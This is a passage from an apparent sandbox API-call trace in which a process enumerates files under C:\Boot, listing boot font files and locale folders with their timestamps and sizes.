ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0133.550] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0133.553] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.553] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0133.553] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0134.688] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.689] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.689] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0134.689] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0134.709] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.709] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0134.709] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0134.709] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.709] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.710] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.710] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.710] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0134.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.710] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0134.710] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ac48 [0134.739] FindNextFileW (in: hFindFile=0x69ac48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.739] FindNextFileW (in: hFindFile=0x69ac48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.739] FindNextFileW (in: hFindFile=0x69ac48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0134.739] FindClose (in: hFindFile=0x69ac48 | out: hFindFile=0x69ac48) returned 1 [0134.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.746] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0134.746] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0134.746] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.746] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.746] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.747] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.747] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0134.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0134.747] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0134.747] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0134.748] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.748] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.749] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 